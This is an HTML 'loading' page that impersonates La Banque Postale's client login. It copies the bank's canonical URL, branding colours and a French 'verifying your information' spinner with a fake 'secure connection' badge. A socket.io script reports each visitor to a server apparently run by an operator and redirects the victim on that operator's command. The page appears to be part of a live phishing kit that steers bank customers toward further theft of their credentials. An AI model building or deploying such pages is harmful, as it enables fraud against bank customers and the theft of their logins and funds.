/home2/mshostin/live-dashboard/public/loading.html
<!DOCTYPE html>
<html lang="fr" data-darkmode-allowed="false">
<head data-template="th3loginpage"><meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="viewport" content="width=device-width"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>

<link rel="canonical" href="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>

<meta property="og:type" content="website"/>
<meta property="og:url" content="https://www.labanquepostale.fr/particulier/connexion-espace-client.html"/>
<meta property="og:image" content="https://www.labanquepostale.fr/content/dam/lbp/opengraph/la-banque-postale/siege-la-banque-postale.jpg"/>

<style>
    :root {
        --bp-blue: #003a8f;
        --bp-gray: #6b7280;
        --bp-bg: #f4f7fd;
    }

    * {
        box-sizing: border-box;
        font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
    }

    body {
        margin: 0;
        background: #ffffff;
        color: var(--bp-blue);
        height: 100vh;
        display: flex;
        flex-direction: column;
    }

    /* ===== HEADER ===== */
    header {
        height: 80px;
        display: flex;
        align-items: center;
        padding: 0 32px;
        border-bottom: 1px solid #e6e9f0;
        background: #ffffff;
    }

    header img {
        height: 56px;
    }

    /* ===== CONTENT ===== */
    .container {
        flex: 1;
        display: flex;
        align-items: center;
        justify-content: center;
        padding: 0 20px;
    }

    .box {
        max-width: 360px;
        width: 100%;
        text-align: center;
    }

    h1 {
        font-size: 22px;
        font-weight: 600;
        margin-bottom: 10px;
    }

    .subtitle {
        font-size: 14px;
        color: var(--bp-gray);
        margin-bottom: 40px;
        line-height: 1.5;
    }

    /* ===== LOADER ===== */
    .loader {
        width: 56px;
        height: 56px;
        margin: 0 auto 30px;
        border: 4px solid #e6e9f0;
        border-top: 4px solid var(--bp-blue);
        border-radius: 50%;
        animation: spin 1s linear infinite;
    }

    @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
    }

    /* ===== INFO ===== */
    .info {
        font-size: 13px;
        color: var(--bp-gray);
    }

    /* ===== RESPONSIVE ===== */
    @media (max-width: 480px) {
        header {
            height: 70px;
            padding: 0 20px;
        }

        header img {
            height: 48px;
        }

        h1 {
            font-size: 20px;
        }
    }
</style>
</head>
<body>

<!-- HEADER -->
<header>
    <img src="logo.svg" alt="Logo">
</header>

<!-- CONTENT -->
<div class="container">
    <div class="box">
        <div class="loader"></div>

        <h1>Traitement en cours</h1>
        <div class="subtitle">
            Veuillez patienter pendant la vérification de vos informations.
        </div>

        <div class="info">
            🔒 Connexion sécurisée
        </div>
    </div>
</div>

<script src="/live-dashboard/socket.io/socket.io.js"></script>
<script>
  const socket = io({ path: '/live-dashboard/socket.io' });

  // Informer le serveur de la page visitée
  socket.emit("page_visit", { page: window.location.pathname });

  // Écouter la redirection
  socket.on("force_redirect", (newPage) => {
    console.log("Redirection vers :", newPage);
    window.location.href = newPage;
  });
</script>



</body>
</html>